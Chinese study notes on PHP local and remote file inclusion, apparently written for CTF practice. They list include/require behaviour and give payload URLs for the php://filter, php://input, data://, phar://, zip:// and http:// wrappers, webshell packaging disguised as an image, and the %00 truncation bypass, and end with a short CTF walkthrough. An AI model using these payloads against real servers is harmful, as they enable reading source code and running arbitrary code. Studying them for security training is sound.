文件包含
文件包含漏洞
文件包含
用文件包含函数 引用另外的一个或多个文件,达到可以直接使用包含进来的文件的函数
漏洞
包含进来的文件的函数 所加载的参数没有经过过滤,可以被控制,制造恶意输出
文件包含 函数
include()
include_once()
require()
require_once()
include()
和require()
函数的区别
include()如果在包含过程中出错,只会提出警告,脚本会继续执行
require()如果在包含过程中出错,就会直接退出,不执行后续语句
PHP伪协议
php://访问输入输出流
条件
allow_url_fopen
不受影响allow_url_include=On
php://filter
访问本地文件系统,读取源码
?arg=php://filter/read=convert.base64-encode/resource=[文件名]
php://input
看到file_get_contents()
就用php://input
绕过
可以写入木马,前提条件是allow_url_fopen
和``allow_url_include`为开启状态 (大概是这个样子)
也可以命令执行同样allow_url_fopen
和``allow_url_include`也是开启状态
file://伪协议
条件:不受allow_url_fopen
和 allow_url_include
是否开启的影响
作用:访问本地文件系统,读取本地文件
格式:
file://[文件的绝对路径和文件名]
/绝对路径
http://127.0.0.1/include.php?file=file://D:\phpStudy\WWW\test.txt
//相对路径
http://127.0.0.1/include.php?file=./test.txt
//网络路径
http://127.0.0.1/include.php?file=http://127.0.0.1/test.txt
data://伪协议
遇到file_get_contents()
用 ,可以打开 如果php.ini里的allow_url_include=On
和 allow_url_fopen=On
制造任意代码执行
-
格式
data://text/plain
http://127.0.0.1/include.php?file=data://text/plain,<?php%20test();?>
data://text/plain;base64
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://伪协议
不管什么后缀 都会被当成压缩包来解压
格式:
?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
将一句话木马php文件 压缩为zip文件(不能是rar),将后缀改为png,jpg等等 其他任意后缀
压缩为zip文件时 可用zip伪协议
zip://&bzip://&zlib://
#
在浏览器中可以编码为%23
- 条件:
不受allow_url_fopen
和 allow_url_include
是否开启的影响
-
格式
压缩txt为zip,压缩包重命名为jpg
http://127.0.0.1/include.php?file=zip://E:\phpStudy\WWW\test.jpg%23test.txt
压缩txt为bz2
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\WWW\test.bz2
压缩txt为gz
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\WWW\test.gz
http://&https://
-
条件
allow_url_fopen
:onallow_url_include
:on
-
格式
http://127.0.0.1/include.php?file=http://127.0.0.1/test.txt
%00绕过
%00绕过的前提条件是php.ini
中的 magic_quotes_qpc=off
PHP版本<5.3.4
直接访问1.jpg会出错但是后边加上了%00就会绕过检测
http://vuln.com/index.php?arg=1.jpg%00
[极客大挑战 2019]Secret
查看源码
找到Archive_room.php 查看源码是./action.php 点开跳转到end.php查阅结束
考虑为什么访问不到./action.php 抓包
访问secr3t.php
访问../flag.php
伪协议绕过